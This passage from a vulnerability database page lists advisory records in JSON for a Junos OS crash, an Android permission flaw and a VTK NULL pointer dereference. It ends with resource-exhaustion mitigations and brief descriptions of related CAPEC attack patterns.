  "details": "While experiencing a broadcast storm, placing the fxp0 interface into promiscuous mode via the \u0027monitor traffic interface fxp0\u0027 can cause the system to crash and restart (vmcore). This issue only affects Junos OS 15.1 and later releases, and affects both single core and multi-core REs. Releases prior to Junos OS 15.1 are unaffected by this vulnerability. Affected releases are Juniper Networks Junos OS: 15.1 versions prior to 15.1F6-S11, 15.1R4-S9, 15.1R6-S6, 15.1R7; 15.1X49 versions prior to 15.1X49-D140; 15.1X53 versions prior to 15.1X53-D59 on EX2300/EX3400; 15.1X53 versions prior to 15.1X53-D67 on QFX10K; 15.1X53 versions prior to 15.1X53-D233 on QFX5200/QFX5110; 15.1X53 versions prior to 15.1X53-D471, 15.1X53-D490 on NFX; 16.1 versions prior to 16.1R3-S8, 16.1R5-S4, 16.1R6-S1, 16.1R7; 16.2 versions prior to 16.2R1-S6, 16.2R2-S5, 16.2R3; 17.1 versions prior to 17.1R1-S7, 17.1R2-S7, 17.1R3; 17.2 versions prior to 17.2R1-S6, 17.2R2-S4, 17.2R3; 17.2X75 versions prior to 17.2X75-D90, 17.2X75-D110; 17.3 versions prior to 17.3R1-S4, 17.3R2; 17.4 versions prior to 17.4R1-S3, 17.4R2.",
  "id": "GHSA-xfc6-58m9-wf28",
  "modified": "2022-05-13T01:35:59Z",
  "published": "2022-05-13T01:35:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0029"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA10863"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041319"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFGJ-MMW9-2X4F

Vulnerability from github – Published: 2023-03-24 21:30 – Updated: 2023-03-29 15:30
VLAI
Details

In addPermission of PermissionManagerServiceImpl.java , there is a possible failure to persist permission settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-242537498

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-20911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-24T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "In addPermission of PermissionManagerServiceImpl.java , there is a possible failure to persist permission settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-242537498",
  "id": "GHSA-xfgj-mmw9-2x4f",
  "modified": "2023-03-29T15:30:17Z",
  "published": "2023-03-24T21:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20911"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2023-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFHG-9PJG-XG7G

Vulnerability from github – Published: 2022-08-26 00:03 – Updated: 2024-11-18 23:03
VLAI
Summary
VTK NULL pointer dereference vulnerability
Details

There is a NULL pointer dereference vulnerability in VTK, and it lies in IO/Infovis/vtkXMLTreeReader.cxx. The vendor didn't check the return value of libxml2 API 'xmlDocGetRootElement', and try to dereference it. It is unsafe as the return value can be NULL and that NULL pointer dereference may crash the application.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vtk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-42521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T18:47:42Z",
    "nvd_published_at": "2022-08-25T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a NULL pointer dereference vulnerability in VTK, and it lies in IO/Infovis/vtkXMLTreeReader.cxx. The vendor didn\u0027t check the return value of libxml2 API \u0027xmlDocGetRootElement\u0027, and try to dereference it. It is unsafe as the return value can be NULL and that NULL pointer dereference may crash the application.",
  "id": "GHSA-xfhg-9pjg-xg7g",
  "modified": "2024-11-18T23:03:45Z",
  "published": "2022-08-26T00:03:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42521"
    },
    {
      "type": "WEB",
      "url": "https://discourse.vtk.org/t/vtk-9-2-5-is-out/10549"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vtk/PYSEC-2022-255.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://gitlab.kitware.com/vtk/vtk"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.kitware.com/vtk/vtk/issues/17818"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PCTMSAAVP4BW2HTZLDWMGKZ2WEC5OFLK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "VTK NULL pointer dereference vulnerability"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.